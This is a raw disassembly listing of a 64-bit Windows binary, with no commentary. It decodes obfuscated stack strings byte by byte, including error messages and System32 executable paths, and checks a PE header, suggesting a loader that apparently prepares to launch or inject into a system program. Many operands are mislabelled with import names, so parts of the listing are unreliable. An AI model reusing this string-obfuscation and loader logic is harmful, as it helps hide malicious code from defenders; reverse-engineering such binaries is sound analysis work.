call fcn.1400360bc
mov byte [rbp + 0xa90], al
mov r9d, esi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa91], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa92], al
mov r9d, esi
lea r8d, [rsi - 0x17]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa93], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa94], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa95], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa96], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa97], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa98], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa99], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9a], al
mov r9d, esi
lea r8d, [rsi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9b], al
mov r9d, esi
lea r8d, [rsi - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9c], al
mov r9d, esi
lea r8d, [rsi - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9d], al
mov r9d, esi
lea r8d, [rsi - 0xc]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9e], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xa9f], al
mov r9d, esi
lea r8d, [rsi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa0], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa1], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa2], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa3], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa4], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, r15b
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa5], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa6], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa7], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa8], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + 0xaa9], al
xor eax, eax
mov byte [rbp + 0xaaa], al
xor ebx, ebx
mov edi, ebx
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa71]
lea rcx, [rbp + 0xa70]
call fcn.1400360bc
mov byte [rbp + rdi + 0xa71], al
add rdi, r12
cmp rdi, rsi
jb 0x14001e956
mov byte [rbp + 0xaaa], bl
xor r9d, r9d
lea r8, [rbp + 0x309]
lea rdx, [rbp + 0xa71]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r12d
call fcn.14009bc48
int3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp - 8], rax
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x14001f249
mov byte [rbp + 0x2f0], WSASetLastError
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f1], al
mov r9, rbx
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f2], al
mov r9, rbx
lea r8d, [r12 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f3], al
mov r9, rbx
lea r8d, [r12 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f4], al
mov r9, rbx
lea r8d, [r12 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f5], al
mov r9, rbx
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f6], al
mov r9, rbx
lea r8d, [r12 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f7], al
mov r9, rbx
lea r8d, [r12 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f8], al
mov r9, rbx
lea r8d, [r12 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2f9], al
mov r9, rbx
lea r8d, [r12 + 8]
mov dl, r15b
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2fa], al
mov r9, rbx
lea r8d, [r12 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2fb], al
mov r9, rbx
lea r8d, [r12 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2fc], al
mov r9, rbx
lea r8d, [r12 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2fd], al
mov r9, rbx
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2fe], al
mov r9, rbx
lea r8d, [r12 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x2ff], al
mov r9, rbx
lea r8d, [r12 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x300], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + 0x301], al
xor eax, eax
mov byte [rbp + 0x302], al
mov r14d, eax
mov r9, rbx
mov r8, r14
mov dl, byte [rbp + r14 + 0x2f1]
lea rcx, [rbp + 0x2f0]
call fcn.140035de8
mov byte [rbp + r14 + 0x2f1], al
add r14, r12
cmp r14, rbx
jb 0x14001ebac
xor eax, eax
mov byte [rbp + 0x302], al
mov byte [rbp + 0xa30], reloc.WS2_32.dll_select
lea r14d, [rax + 0x39]
mov r9d, r14d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa31], al
mov r9d, r14d
mov r8, r12
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa32], al
mov r9d, r14d
lea r8d, [r14 - 0x37]
mov dl, 0x76
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa33], al
mov r9d, r14d
lea r8d, [r14 - 0x36]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa34], al
mov r9d, r14d
lea r8d, [r14 - 0x35]
mov dl, 0x6c
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa35], al
mov r9d, r14d
lea r8d, [r14 - 0x34]
mov dl, 0x69
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa36], al
mov r9d, r14d
lea r8d, [r14 - 0x33]
mov dl, 0x64
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa37], al
mov r9d, r14d
lea r8d, [r14 - 0x32]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa38], al
mov r9d, r14d
lea r8d, [r14 - 0x31]
mov dl, 0x50
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa39], al
mov r9d, r14d
lea r8d, [r14 - 0x30]
mov dl, WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3a], al
mov r9d, r14d
lea r8d, [r14 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3b], al
mov r9d, r14d
lea r8d, [r14 - 0x2e]
mov dl, 0x63
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3c], al
mov r9d, r14d
lea r8d, [r14 - 0x2d]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3d], al
mov r9d, r14d
lea r8d, [r14 - 0x2c]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3e], al
mov r9d, r14d
lea r8d, [r14 - 0x2b]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa3f], al
mov r9d, r14d
lea r8d, [r14 - 0x2a]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa40], al
mov r9d, r14d
mov r8, r13
mov dl, 0x64
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa41], al
mov r9d, r14d
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa42], al
mov r9d, r14d
lea r8d, [r14 - 0x27]
mov dl, 0x44
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa43], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa44], al
mov r9d, r14d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa45], al
mov r9d, r14d
lea r8d, [r14 - 0x24]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa46], al
mov r9d, r14d
lea r8d, [r14 - 0x23]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa47], al
mov r9d, r14d
lea r8d, [r14 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa48], al
mov r9d, r14d
lea r8d, [r14 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa49], al
mov r9d, r14d
lea r8d, [r14 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4a], al
mov r9d, r14d
lea r8d, [r14 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4b], al
mov r9d, r14d
lea r8d, [r14 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4c], al
mov r9d, r14d
lea r8d, [r14 - 0x1d]
mov dl, 0x6d
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4d], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4e], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa4f], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa50], al
mov r9d, r14d
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa51], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa52], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa53], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa54], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa55], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa56], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa57], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa58], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa59], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5a], al
mov r9d, r14d
lea r8d, [r14 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5b], al
mov r9d, r14d
lea r8d, [r14 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5c], al
mov r9d, r14d
lea r8d, [r14 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5d], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5e], al
mov r9d, r14d
lea r8d, [r14 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa5f], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa60], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa61], al
mov r9d, r14d
lea r8d, [r14 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa62], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa63], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa64], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, r15b
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa65], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa66], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa67], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa68], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + 0xa69], al
xor eax, eax
mov byte [rbp + 0xa6a], al
xor ebx, ebx
mov edi, ebx
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa31]
lea rcx, [rbp + 0xa30]
call fcn.1400360bc
mov byte [rbp + rdi + 0xa31], al
add rdi, r12
cmp rdi, r14
jb 0x14001f1f9
mov byte [rbp + 0xa6a], bl
xor r9d, r9d
lea r8, [rbp + 0x2f1]
lea rdx, [rbp + 0xa31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r12d
call fcn.14009bc48
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xeb8], xmm0
mov qword [rbp + 0xec8], rax
mov byte [rbp + 0x8c0], Ordinal_79
lea r15d, [rax + 0x1f]
mov r9d, r15d
mov dl, 0x43
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c1], al
mov r9d, r15d
lea r8d, [r15 - 0x1e]
mov dl, 0x3a
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c2], al
mov r9d, r15d
lea r8d, [r15 - 0x1d]
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c3], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, 0x57
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c4], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, 0x69
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c5], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c6], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c7], al
mov r9d, r15d
lea r8d, [r15 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c8], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, 0x77
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8c9], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8ca], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8cb], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, 0x53
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8cc], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8cd], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8ce], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8cf], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d0], al
mov r9d, r15d
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d1], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d2], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d3], al
mov r9d, r15d
mov r8, rdi
mov dl, 0x5c
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d4], al
mov r9d, r15d
mov r8, rsi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d5], al
mov r9d, r15d
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d6], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d7], al
mov r9d, r15d
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d8], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8d9], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x61
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8da], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, 0x64
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8db], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8dc], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8dd], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8de], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + 0x8df], al
xor eax, eax
mov byte [rbp + 0x8e0], al
mov r15d, eax
lea r13d, [rax + 1]
mov r9d, Ordinal_32
mov r8, r15
mov dl, byte [rbp + r15 + 0x8c1]
lea rcx, [rbp + 0x8c0]
call fcn.140035e60
mov byte [rbp + r15 + 0x8c1], al
add r15, r13
cmp r15, 0x1f
jb 0x14001f5b1
xor eax, eax
mov byte [rbp + 0x8e0], al
lea rax, [rbp + 0x8c1]
mov qword [rbp + 0xbe8], rax
mov byte [rbp + 0x8a0], WSACleanup
mov r15d, reloc.WLDAP32.dll_Ordinal_30
mov r9d, r15d
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a1], al
mov r9d, r15d
mov r8, r13
mov dl, 0x3a
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a2], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a3], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, 0x57
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a4], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a5], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a6], al
mov r9d, r15d
lea r8d, [r15 - 0x18]
mov dl, 0x64
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a7], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a8], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, 0x77
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8a9], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8aa], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8ab], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x53
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8ac], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8ad], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8ae], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8af], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b0], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, 0x6d
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b1], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b2], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b3], al
mov r9d, r15d
mov r8, rdi
mov dl, 0x5c
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b4], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x77
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b5], al
mov r9d, r15d
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b6], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b7], al
mov r9d, r15d
mov r8, r14
mov dl, 0x76
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b8], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8b9], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8ba], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8bb], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8a0]
call fcn.140035f50
mov byte [rbp + 0x8bc], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, 0x78
